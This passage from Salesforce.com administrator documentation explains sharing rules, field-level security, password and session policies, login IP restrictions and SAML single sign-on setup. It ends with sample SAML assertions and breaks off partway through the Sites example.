When you define a sharing rule, you can choose from the following categories in the owned by members of and Share
with drop-down lists. Depending on the type of sharing rule and the features enabled for your organization, some categories
may not appear.

Category Description
Queues All records owned by the queue, excluding records owned by individual members of the
queue. Available only in the owned by members of list.
Public Groups All public groups defined by your administrator.
If a partner portal or Customer Portal is enabled for your organization, the All Partner
Users or All Customer Portal Users group displays. These groups includes all users allowed
to access your PRM or Customer Portal, except for High Volume Customer Portal users.

Roles All roles defined for your organization. This includes all of the users in the specified role.
Portal Roles All roles defined for your organization's PRM portal, partner portal, or Customer Portal.
This includes all users in the specified portal role, except High Volume Customer Portal
users because they don't have roles. Note that the name of a portal role includes the name
of the account with which it is associated, except for person accounts, which include the
user Alias.
Roles and Subordinates All roles defined for your organization. This includes all of the users in the specified role
plus all of the users in roles below that role, including PRM portal, partner portal, and
Customer Portal roles that contain users with the Customer Portal Manager license type.
Note: Portal roles are only included in this category if a PRM Portal, partner
portal, or Customer Portal is enabled for your organization.

The Roles, Internal and Portal Subordinates data set category is only available in your
organization after you create at least one role in the role hierarchy.

Portal Roles and Subordinates All roles defined for your organization's PRM portal, partner portal, or Customer Portal.
This includes all of the users in the specified portal role plus all of the users below that
role in the portal role hierarchy, except for High Volume Customer Portal users because
they don't have roles. Note that the name of a portal role includes the name of the account
with which it is associated, except for person accounts, which include the user Alias.

537
Security and Sharing About Sharing Rules

Category Description
Roles and Internal Subordinates All roles defined for your organization. This includes all of the users in the specified role
plus all of the users in roles below that role, excluding PRM portal, partner portal, and
Customer Portal roles.
This category only displays if a PRM portal, partner portal, or Salesforce.com Customer
Portal is enabled for your organization.
The Roles and Internal Subordinates data set category is only available in your organization
after you create at least one role in the role hierarchy and enable a portal.

Roles, Internal and Portal All roles defined for your organization. This includes all of the users in the specified role
Subordinates plus all of the users in roles below that role, including PRM portal, partner portal, and
Customer Portal roles.
This category only displays if a PRM portal, partner portal, or Salesforce.com Customer
Portal is enabled for your organization.
The Roles and Internal Subordinates data set category is only available in your organization
after you create at least one role in the role hierarchy and enable a portal.

Territories All territories defined for your organization.


Territories and subordinates All territories defined for your organization. This includes the specified territory plus all
territories below it.

Editing and Deleting Sharing Rules


To edit or delete a sharing rule, click Edit or Del in the Sharing Rules related lists of the Sharing Settings page.
You can edit the access levels for any sharing rule. You cannot change the specified groups, roles, or territories of the rule.

Recalculating Sharing Rules


When you make modifications to groups, roles, and territories, sharing rules are automatically reevaluated to add or remove
access as necessary. Modifications might include adding or removing individual users from a group, role, or territory, changing
which role a particular role reports to, changing which territory a particular territory is subordinate to, or adding or removing
a group from within another group. However, if these modifications affect too many records at once, you are warned that the
sharing rules won't be automatically reevaluated. You must manually recalculate them.
To recalculate the sharing rules, click Recalculate in the appropriate Sharing Rules related lists of the Sharing Settings page.
When sharing is recalculated, Salesforce.com also runs all Apex sharing recalculations.

See Also:
Sharing Rule Considerations
Sample Uses for Sharing Rules

538
Security and Sharing About Sharing Rules

Sharing Rule Considerations


Account and contact sharing rules are available in: Professional, Enterprise, Unlimited, and Developer Editions
Account territory, case, lead, opportunity, and custom object sharing rules are available in: Enterprise, Unlimited, and
Developer Editions
Campaign sharing rules are available in Professional Edition for an additional cost, and Enterprise, Unlimited, and
Developer Editions

Sharing rules allow you to selectively grant data access to defined sets of users. Review the following notes before using sharing
rules:

• You can use sharing rules to grant wider access to data. You cannot restrict access below your organization-wide default
levels.
• Sharing rules apply to all new and existing records that meet the definition of the source data set.
• Sharing rules apply to both active and inactive users.
• When you change the access levels for a sharing rule, all existing records are automatically updated to reflect the new access
levels.
• When you delete a sharing rule, the sharing access created by that rule is automatically removed.
• When you transfer records from one user to another, the sharing rules are reevaluated to add or remove access to the
transferred records as necessary.
• When you modify which users are in a group, role, or territory, the sharing rules are reevaluated to add or remove access
as necessary.
• Sharing rules automatically grant additional access to related records. For example, opportunity sharing rules give role or
group members access to the account associated with the shared opportunity if they do not already have it. Likewise, contact
and case sharing rules provide the role or group members with access to the associated account as well.
• If multiple sharing rules give a user different levels of access to a record, the user gets the most permissive access level.
• Managers in the role hierarchy are automatically granted the same access that users below them in the hierarchy have from
a sharing rule, provided that the object is a standard object or the Grant Access Using Hierarchies option is selected.
• Regardless of sharing rules, users can, at a minimum, view the accounts in their territories. Also, users can be granted access
to view and edit the contacts, opportunities, and cases associated with their territories' accounts.
• Making changes to sharing rules may require changing a large number of records at once. To process these changes
efficiently, Salesforce.com may queue your request and send an email notification when the process has completed.
• You can create sharing rules between Customer Portal users and Salesforce.com users. Similarly, you can create sharing
rules between Customer Portal users from different accounts as long as they have the Customer Portal Manager user
license.
• You can easily convert sharing rules that include Roles, Internal and Portal Subordinates to include Roles and Internal
Subordinates instead by using the Convert Portal User Access wizard. Furthermore, you can use this wizard to convert
any publicly accessible report, dashboard, and document folders to folders that are accessible by all users except for portal
users.

539
Security and Sharing Setting Field-Level Security

• Lead sharing rules do not automatically grant access to lead information after leads are converted into account, contact,
and opportunity records.

See Also:
Setting Sharing Rules
About Sharing Rules

Setting Field-Level Security


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set field-level security: “Customize Application”

You can define which fields users can access. Field-level security settings let administrators restrict users’ access to view and
edit specific fields in the following places:

• Detail and edit pages


• Related lists
• List views
• Reports
• Connect Offline
• Email and mail merge templates
• Custom links
• The partner portal
• The Salesforce.com Customer Portal
• Synchronized data
• Imported personal data

The fields that users see on detail and edit pages are a combination of page layouts and field-level security settings. The most
restrictive field access settings of the two always apply. For example, if a field is required in the page layout and read only in
the field-level security settings, the field-level security overrides the page layout and the field will be read only for the user.
Important: Field-level security doesn't prevent searching on the values in a field. To prevent users from searching
and retrieving records that match a value in a field hidden by field-level security, contact salesforce.com Customer
Support for assistance with setting up your organization to prevent unwanted access to those field values.

You can define field-level security for multiple fields on a single profile or for a single field on all profiles.

Setting Access for Fields on a Single Profle


1. Select Setup ➤ Manage Users ➤ Profiles.

540
Security and Sharing Setting Field-Level Security

2. Select a profile.
3. In the Field-Level Security section, click View next to the tab you want to modify, and then click Edit.
4. Specify the field's access level.

Access Level Enabled Settings


Users can view and edit the field. Visible
Users can view but not edit the field. Visible and Read-Only
Users can't view or edit the field. None

5. Click Save.

After setting field-level security for users based on their profiles, you can:

• Create page layouts to organize the fields on detail and edit pages.
Tip: Use field-level security as the means to restrict users’ access to fields; then use page layouts primarily to
organize detail and edit pages within tabs. This reduces the number of page layouts for you to maintain.

• Verify users’ access to fields by checking the field accessibility grid.


• Set the fields that display in search results, in lookup dialog search results, and in the key lists on tab home pages.

Note: Roll-up summary and formula fields are always read only on detail pages and not available on edit pages. They
may also be visible to users even though they reference fields that your users cannot see. Universally required fields
always display on edit pages regardless of field-level security.
The relationship group wizard allows you to create and edit relationship groups regardless of field-level security. For
more information on the behaviors of relationship group members, see Relationship Group Considerations on page
1867.

Setting Access for a Single Field on All Profiles


1. Select Setup ➤ Customize, click a tab or activity link, and click Fields.
2. Select the field you want to modify.
3. Click Set Field-Level Security.
4. Specify the field's access level.

Access Level Enabled Settings


Users can view and edit the field. Visible
Users can view but not edit the field. Visible and Read-Only
Users can't view or edit the field. None

541
Security and Sharing Setting Password Policies

5. Click Save.

See Also:
Overview of Page Layouts and Field-Level Security
Managing Profiles
Administrator tip sheet: Tips & Hints for Page Layouts and Field-Level Security

Setting Password Policies


Available in: Professional, Contact Manager, Group, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set password policies: “Manage Users”

For your organization’s security, you can set various password and login policies.

1. Click Setup ➤ Security Controls ➤ Password Policies.


2. Customize the password settings.

Field Description
User passwords expire in Length of time until all user passwords expire and must be
changed. Users with the “Password Never Expires”
permission are immune from this setting. The default is 90
days. This setting is not available for Self-Service portals,
Customer Portals, or partner portals.
Enforce password history Setting to save users’ previous passwords so that they must
always reset their password to a new, unique password.
Password history is not saved until you set this value. The
default is 3 passwords remembered. You cannot select the
No passwords remembered option unless you select the
Never expires option for the User passwords expire
in field. This setting is not available for Self-Service portals,
Customer Portals, or partner portals.
Minimum password length Minimum number of characters required for a password.
When you set this value, existing users are not affected until
the next time they change their passwords. The default is 8
characters.
Password complexity requirement Restriction on which types of characters must be used in a
user’s password. Must mix alpha and numeric is the default
option. This option requires at least one alphabetic character
and one number.

542
Security and Sharing Setting Password Policies

Field Description
Password question requirement Setting to require that a user’s answer to the password hint
question not contain the password itself. This setting is not
available for Self-Service portals, Customer Portals, or
partner portals.
Maximum invalid login attempts Number of bad logins allowed by a user before he or she
becomes locked out. This setting is not available for
Self-Service portals, Customer Portals, or partner portals.
Lockout effective period Duration of the login lockout. This setting is not available
for Self-Service portals, Customer Portals, or partner portals.

Note: User passwords cannot exceed 16,000 bytes.

3. Click Save.

Note: If a user becomes locked out, he or she can wait until the lockout period expires, or the administrator can view
the user’s information and click Unlock. This button is only available when a user is locked out.

See Also:
Setting Login Restrictions
Resetting Passwords
Expiring Passwords
Administrator setup guide: Security Implementation Guide

543
Security and Sharing Setting Session Security

Setting Session Security


The Login IP Ranges setting is available in: Personal, Contact Manager, Group, and Professional Editions (Valid IP
addresses can be set at the profile level for Enterprise, Unlimited, and Developer Editions)
The Lock sessions to the IP address from which they originated setting is available in: Enterprise,
Unlimited, and Developer Editions
All other settings available in: Personal, Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer
Editions

User Permissions Needed


To set session security: “Customize Application”

You can modify session security settings to control the session timeout warning and to prevent “IP shifting” for users that are
logged in.

1. Click Setup ➤ Security Controls ➤ Session Settings.


2. Customize the session security settings.

Field Description
Timeout value Length of time after which the system prompts users who
have been inactive to log out or continue working. Select a
value between 30 minutes and 8 hours. Choose a shorter
timeout period if your organization has sensitive information
and you want to enforce stricter security.
Disable session timeout warning popup Determines whether the system prompts users with a timeout
warning message after any length of inactivity. Select this
option to provide extra security.
Lock sessions to the IP address from which Determines whether user sessions are locked to the IP
they originated address from which the user logged in, helping to prevent
unauthorized persons from hijacking a valid session.
Selecting this option prevents you from registering any
Force.com AppExchange packages, see “Registering Apps”
in the Force.com AppExchange online help. In addition,
you cannot use this option with partner relationship
management.

Require secure connections (HTTPS) Determines whether logins and all access to Salesforce.com
are required to use HTTPS.
This option is enabled by default, but it can be disabled to
allow HTTP connections too. You should require HTTPS
connections for enhanced security.

544
Security and Sharing Setting Session Security

Field Description
Note: The forgotten password page can only be
accessed using HTTPS.

Force Relogin After Login-As-User Determines whether an administrator that is logged in as


another user is returned to their previous session after logging
out as the secondary user. For more information, see Logging
In as Another User on page 452.
If the option is checked, an administrator must log in again
to continue using Salesforce.com after logging out as the
user; otherwise, the administrator is returned to their original
session after logging out as the user.

Enable caching and password autocomplete on Determines whether users' browsers can store usernames
login page and passwords, and, after an initial log in, automatically
enter this information on the login page.
By default, caching and autocomplete is enabled.

Login IP Ranges Specifies a range of IP addresses. Users must log in from IP


addresses within the range (inclusive), or the login will fail,
and users will have to activate their computers to successfully
log in. For more information, see Setting Login Restrictions
on page 472.
To specify a range, click New and enter a lower and upper
IP address to define the range.
This field is not available in Enterprise, Unlimited, and
Developer Editions. In those editions, you can specify valid
IP addresses per profile; see Restricting Login IP Ranges
on Profiles on page 474.

3. Click Save.

See Also:
Setting Login Restrictions
Administrator setup guide: Security Implementation Guide

545
Security and Sharing Restricting Login IP Ranges for Your Organization

Restricting Login IP Ranges for Your Organization


Available in: All Editions

User Permissions Needed


To view network access: “Login Challenge Enabled”
To change network access: “Manage Users”

To help protect your organization's data from unauthorized access, you can specify a list of IP addresses from which users can
always log in without receiving a login challenge:

1. Click Setup ➤ Security Controls ➤ Network Access.


2. Click New.
3. Enter a valid IP address in the Start IP Address field and a higher IP address in the End IP Address field.
The start and end addresses define the range of allowable IP addresses from which users can log in. If you want to allow
logins from a single IP address, enter the same address in both fields. For example, to allow logins from only 125.12.3.0,
enter 125.12.3.0 as both the start and end addresses.
The start and end IP addresses must include no more than 33,554,432 addresses (225). For example, the following ranges
are valid:

• 0.0.0.0 to 1.255.255.255
• 132.0.0.0 to 132.255.255.255
• 132.0.0.0 to 133.255.255.255

However, ranges like 0.0.0.0 to 2.255.255.255 or 132.0.0.0 to 134.0.0.0 are too large.
4. Click Save.

Note: For organizations that were activated before December 2007, Salesforce.com automatically populated your
organization's trusted IP address list in December 2007, when this feature was introduced. The IP addresses from
which trusted users had already accessed Salesforce.com during the past six months were added.

See Also:
Restricting Login IP Ranges on Profiles
Setting Login Restrictions
Administrator setup guide: Security Implementation Guide

546
Security and Sharing About Single Sign-On

SINGLE SIGN ON

About Single Sign-On


Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the settings: “View Setup and Configuration”
To edit the settings: “Customize Application”
AND
“Modify All Data”

Single sign-on is a process that allows network users to access all authorized network resources without having to log in
separately to each resource. Single sign-on allows you to validate usernames and passwords against your corporate user database
or other client application rather than having separate user passwords managed by Salesforce.com.
Salesforce.com offers the following ways to use single sign-on:

• Federated authentication using Security Assertion Markup Language (SAML): When federated authentication is
enabled, salesforce.com does not validate a user's password. Instead, salesforce.com verifies an assertion in the HTTP
POST request, and allows single sign-on if the assertion is true. This is the default form of single sign-on. Federated
authentication is available in all Editions.
• Delegated authentication: When delegated authentication is enabled, salesforce.com does not validate a user's password.
Instead, salesforce.com makes a Web services call to your organization to establish authentication credentials for the user.
You must request that this feature be enabled by salesforce.com. Contact salesforce.com to enable delegated authentication
single sign-on for your organization..

The Single Sign-On Settings page displays which version of single sign-on is available for your organization. To learn more
about the single sign-on settings, see Configuring SAML Settings for Single Sign-On on page 559. For more information
about SAML and Salesforce.com security, see the Security Implementation Guide.

Benefits of Single Sign-On


Implementing single sign-on can offer the following advantages to your organization:
• Reduced Administrative Costs: With single sign-on, users only need to memorize a single password to access both network
resources or external applications and Salesforce.com. When accessing Salesforce.com from inside the corporate network,
users are logged in seamlessly, without being prompted to enter a username or password. When accessing Salesforce.com
from outside the corporate network, users' corporate network login works to log them in. With fewer passwords to manage,
system administrators receive fewer requests to reset forgotten passwords.

547
Security and Sharing About SAML

• Leverage Existing Investment: Many companies use a central LDAP database to manage user identities. By delegating
Salesforce.com authentication to this system, when a user is removed from the LDAP system, they can no longer access
Salesforce.com. Consequently, users who leave the company automatically lose access to company data after their departure.
• Time Savings: On average, a user takes five to 20 seconds to log in to an online application; longer if they mistype their
username or password and are prompted to reenter them. With single sign-on in place, the need to manually log in to
Salesforce.com is avoided. These saved seconds add up to increased productivity.
• Increased User Adoption: Due to the convenience of not having to log in, users are more likely to use Salesforce.com on
a regular basis. For example, users can send email messages that contain links to information in Salesforce.com such as
records and reports. When the recipients of the email message click the links, the corresponding Salesforce.com page opens
automatically.
• Increased Security: Any password policies that you have established for your corporate network will also be in effect for
Salesforce.com. In addition, sending an authentication credential that is only valid for a single use can increase security for
users who have access to sensitive data.

See Also:
Best Practices for Implementing Single Sign-On
Configuring SAML Settings for Single Sign-On
Viewing Single Sign-on Settings
Validating SAML Settings for Single Sign-On
Enabling Single Sign-On for Portals
Administrator setup guide: Single Sign-On Implementation Guide

About SAML
Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the settings: “View Setup and Configuration”
To edit the settings: “Customize Application”
AND
“Modify All Data”

Security Assertion Markup Language (SAML) is an XML-based standard that allows you to communicate authentication
decisions between one service and another. It underlies many Web single sign-on solutions. Salesforce.com supports SAML
for single sign-on into Salesforce.com from a corporate portal or identity provider.
Much of the work to set up single sign-on using SAML occurs with your identity provider:

1. Establish a SAML identity provider and gather information about how they will connect to Salesforce.com. This is the
provider that will send single sign-on requests to Salesforce.com.
2. Provide information to your identity provider, such as the URLs for the start and logout pages.

548
Security and Sharing Working With Your Identity Provider

3. Configure Salesforce.com using the instructions in Configuring SAML Settings for Single Sign-On. This is the only step
that takes place in Salesforce.com.

Your identity provider should send SAML assertions to Salesforce.com using the SAML Web Single Sign-on Browser POST
profile. Salesforce.com sends SAML responses to the Identity Provider Login URL specified in Setup ➤ Security
Controls ➤ Single Sign-On Settings. Salesforce.com receives the assertion, verifies it against your Salesforce.com configuration,
and allows single sign-on if the assertion is true.
If you have problems with the SAML assertion after you configure Salesforce.com for SAML, use the SAML Assertion
Validator to validate the SAML assertion. You may need to obtain a SAML assertion from your identity provider.
If your users are having problems using SAML to login, you can review the SAML login history to determine why they were
not able to log in and share that information with your identity provider.
If your identity provider supports metadata, and if you've configured SAML using version 2.0, you can click Download
Metadata to send them the downloaded XML file, which they can then upload to automatically configure their settings for
connecting to your Salesforce.com organization.

Working With Your Identity Provider


Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the settings: “View Setup and Configuration”
To edit the settings: “Customize Application”
AND
“Modify All Data”

1. You must gather the following information from your identity provider before configuring Salesforce.com for SAML.

• The version of SAML the identity provider uses (1.1 or 2.0)


• The entity ID of the identity provider (also known as the issuer)
• An authentication certificate.
Tip: Be sure to store the certificate where you can access it from your browser. This will be uploaded to
Salesforce.com in a later step.

• The following SAML assertion parameters, as appropriate:

- The SAML user ID type


- The SAML user ID location
- Attribute Name
- Attribute URI
- Name ID format

549
Security and Sharing Working With Your Identity Provider

Note: Attribute Name, Attribute URI, and Name ID format are only necessary if the SAML User ID
Location is in an Attribute element, and not the name identifier element of a Subject statement.

You may also want to share more information about these values with your identity provider.
Tip: Enable Salesforce.com for SAML and take a screen shot of the page for your identity provider. Click Setup
➤ Security Controls ➤ Single Sign-On Settings, click Edit, then select SAML Enabled.

2. Work with your identity provider to setup the start, login, and logout pages.
3. Share the example SAML assertions with your identity provider so they can determine the format Salesforce.com requires
for successful single sign-on.

Customizing SAML Start, Error, Login, and Logout Pages


Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the settings: “View Setup and Configuration”
To edit the settings: “Customize Application”
AND
“Modify All Data”

The start, error, login, and logout pages can be customized for single sign-on users using SAML 1.1 or 2.0.
As part of your configuration, you need to decide the following:

• The logout page: the URL to direct the user to when they click the Logout link in Salesforce.com. The default is
http://www.salesforce.com.
• If your identity provider uses SAML 1.1, the start page: the URL to direct the user to when sign-on successfully completes.
This URL can be absolute, such as https://na1.salesforce.com/001/o or it can be relative, such as /001/o.
In SAML 2.0, the start page is the page the user attempted to access before they were authenticated. The SAML 2.0 start
page must support Sp-init single sign-on.
If you are using SAML 2.0, you can also use the RelayState parameter to control where users get redirected after a
successful login.
• The single sign-on start page (ssostartpage): where Salesforce.com sends a SAML request to start the login sequence.

After you share these values with your identity provider, they will need to use these values either in the login URL or the
assertion.

550
Security and Sharing Working With Your Identity Provider

You can also decide if you want users to be directed to a custom error page if there's an error during SAML login: It must be
a publicly accessible page, such as a public site Visualforce page. The URL can be absolute or relative. It can also be a Visualforce
page. Use this value when you configure SAML.

Example SAML Assertions


Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the settings: “View Setup and Configuration”
To edit the settings: “Customize Application”
AND
“Modify All Data”

Share the example SAML assertions with your identity provider so they can determine the format of the information
Salesforce.com requires for successful single-sign on.
In addition to the general single sign-on examples for both SAML 1.1 and SAML 2.0, use the following samples for the
specific feature:

• assertions for portals


• assertions for Sites
• SOAP message for delegated authentication

SAML User ID type is the Salesforce.com username, and SAML User ID location is the <NameIdentifier>
element in the <Subject> element
SAML 1.1:

<Subject>
<NameIdentifier>user101@salesforce.com</NameIdentifier>
</Subject>

SAML 2.0:

<saml:Subject>
<saml:NameID
Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">user101@salesforce.com</saml:NameID>

<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2008-06-26T02:44:24.173Z"
Recipient="http://localhost:9000"/>
</saml:SubjectConfirmation>
</saml:Subject>

551
Security and Sharing Working With Your Identity Provider

SAML User ID type isSalesforce.com username, and SAML User ID location is the <Attribute> element
SAML 1.1:

<AttributeStatement>
<Subject>
<NameIdentifier>this value doesn't matter</NameIdentifier>
<SubjectConfirmation>
<ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</ConfirmationMethod>

</SubjectConfirmation>
</Subject>
<Attribute AttributeName="MySfdcName" AttributeNamespace="MySfdcURI">
<AttributeValue>user101@salesforce.com</AttributeValue>
</Attribute>
</AttributeStatement>

SAML 2.0:

<saml:AttributeStatement>
<saml:Attribute FriendlyName="fooAttrib" Name="SFDC_USERNAME"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
user101@salesforce.com
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>

SAML User ID type is the Salesforce.com User object's FederationIdentifier field, and SAML User ID location
is the <NameIdentifier> element in the <Subject> element
SAML 1.1:

<AttributeStatement>
<saml:Subject>
<saml:NameIdentifier Format="urn:oasis:names:tc:SAML:1.0:assertion"
NameQualifier="www.saml_assertions.com">
MyName
</saml:NameIdentifier>
</saml:Subject>
</AttributeStatement>

SAML 2.0:

<saml:Subject>
<saml:NameID
Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">MyName</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2008-06-26T02:48:25.730Z"
Recipient="http://localhost:9000/"/>
</saml:SubjectConfirmation>
</saml:Subject>

Note: The name identifier can be any arbitrary string, including email addresses or numeric ID strings.

552
Security and Sharing Working With Your Identity Provider

SAML User ID type is theSalesforce.com User object's FederationIdentifier field, and SAML User ID location
is the <Attribute> element
SAML 1.1:

<AttributeStatement>
<Subject>
<NameIdentifier>who cares</NameIdentifier>
<SubjectConfirmation>
<ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</ConfirmationMethod>

</SubjectConfirmation>
</Subject>
<Attribute AttributeName="MyName" AttributeNamespace="MyURI">
<AttributeValue>user101</AttributeValue>
</Attribute>
</AttributeStatement>

SAML 2.0:

<saml:AttributeStatement>
<saml:Attribute FriendlyName="fooAttrib" Name="SFDC_ATTR"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
user101
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>

SAML User ID type is the Salesforce.com username, and SAML User ID location is the <NameIdentifier>
element in the <Subject> element
The following is a complete SAML response, for SAML 2.0:

<samlp:Response ID="_257f9d9e9fa14962c0803903a6ccad931245264310738"
IssueInstant="2009-06-17T18:45:10.738Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://www.salesforce.com</saml:Issuer>

<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>

<saml:Assertion ID="_3c39bc0fe7b13769cab2f6f45eba801b1245264310738"
IssueInstant="2009-06-17T18:45:10.738Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://www.salesforce.com</saml:Issuer>

<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">
saml01@salesforce.com</saml:NameID>

<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2009-06-17T18:50:10.738Z"
Recipient="https://login.www.salesforce.com"/>
</saml:SubjectConfirmation>
</saml:Subject>

<saml:Conditions NotBefore="2009-06-17T18:45:10.738Z"
NotOnOrAfter="2009-06-17T18:50:10.738Z">

553
Security and Sharing Working With Your Identity Provider

<saml:AudienceRestriction>
<saml:Audience>https://saml.salesforce.com</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>

<saml:AuthnStatement AuthnInstant="2009-06-17T18:45:10.738Z">

<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified
</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>

<saml:AttributeStatement>

<saml:Attribute Name="portal_id">
<saml:AttributeValue xsi:type="xs:anyType">060D00000000SHZ
</saml:AttributeValue>
</saml:Attribute>

<saml:Attribute Name="organization_id">
<saml:AttributeValue xsi:type="xs:anyType">00DD0000000F7L5
</saml:AttributeValue>
</saml:Attribute>

<saml:Attribute Name="ssostartpage"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">

<saml:AttributeValue xsi:type="xs:anyType">
http://www.salesforce.com/security/saml/saml20-gen.jsp
</saml:AttributeValue>
</saml:Attribute>

<saml:Attribute Name="logouturl"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">

<saml:AttributeValue xsi:type="xs:string">
http://www.salesforce.com/security/del_auth/SsoLogoutPage.html
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>

Sample SAML Assertions for Portals


The following shows the portal_id and organization_id attributes in a SAML assertion statement:

<saml:AttributeStatement>
<saml:Attribute Name="portal_id">
<saml:AttributeValue xsi:type="xs:anyType">060D00000000SHZ</saml:AttributeValue>
</saml:Attribute>

<saml:Attribute Name="organization_id">
<saml:AttributeValue xsi:type="xs:anyType">00DD0000000F7P5</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>

554
Security and Sharing Working With Your Identity Provider

The following is a complete SAML assertion statement that can be used for single sign-on for portals. The organization is
using federated sign-on, which is included in an attribute, not in the subject.

<samlp:Response ID="_f97faa927f54ab2c1fef230eee27cba21245264205456"
IssueInstant="2009-06-17T18:43:25.456Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://www.salesforce.com</saml:Issuer>

<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>

<saml:Assertion ID="_f690da2480a8df7fcc1cbee5dc67dbbb1245264205456"
IssueInstant="2009-06-17T18:43:25.456Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://www.salesforce.com</saml:Issuer>

<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">null
</saml:NameID>

<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2009-06-17T18:48:25.456Z"
Recipient="https://www.salesforce.com/?saml=02HKiPoin4f49GRMsOdFmhTgi
_0nR7BBAflopdnD3gtixujECWpxr9klAw"/>
</saml:SubjectConfirmation>
</saml:Subject>

<saml:Conditions NotBefore="2009-06-17T18:43:25.456Z"
NotOnOrAfter="2009-06-17T18:48:25.456Z">

<saml:AudienceRestriction>
<saml:Audience>https://saml.salesforce.com</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>

<saml:AuthnStatement AuthnInstant="2009-06-17T18:43:25.456Z">

<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified
</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>

<saml:AttributeStatement>

<saml:Attribute FriendlyName="Friendly Name" Name="federationId"


NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:string">saml_portal_user_federation_id
</saml:AttributeValue>
<saml:AttributeValue xsi:type="xs:string">SomeOtherValue
</saml:AttributeValue>
</saml:Attribute>

<saml:Attribute Name="portal_id">
<saml:AttributeValue xsi:type="xs:anyType">060D00000000SHZ
</saml:AttributeValue>
</saml:Attribute>

<saml:Attribute Name="organization_id">
<saml:AttributeValue xsi:type="xs:anyType">00DD0000000F7Z5
</saml:AttributeValue>
</saml:Attribute>

<saml:Attribute Name="ssostartpage"

555
Security and Sharing Working With Your Identity Provider

NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">

<saml:AttributeValue xsi:type="xs:anyType">
http://www.salesforce.com/qa/security/saml/saml20-gen.jsp
</saml:AttributeValue>
</saml:Attribute>

<saml:Attribute Name="logouturl"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">

<saml:AttributeValue xsi:type="xs:string">
http://www.salesforce.com/qa/security/del_auth/SsoLogoutPage.html
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>

Sample SAML Assertion for Sites


The following shows the portal_id, organization_id, and siteurl attributes in a SAML assertion statement:

<saml:AttributeStatement>
<saml:Attribute Name="portal_id">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:type="xs:anyType">060900000004cDk
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="organization_id">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:type="xs:anyType">00D900000008bX0
</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="siteurl">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:type="xs:anyType">https://ap1.force.com/mySuffix</saml:AttributeValue>
</saml:Attribute>

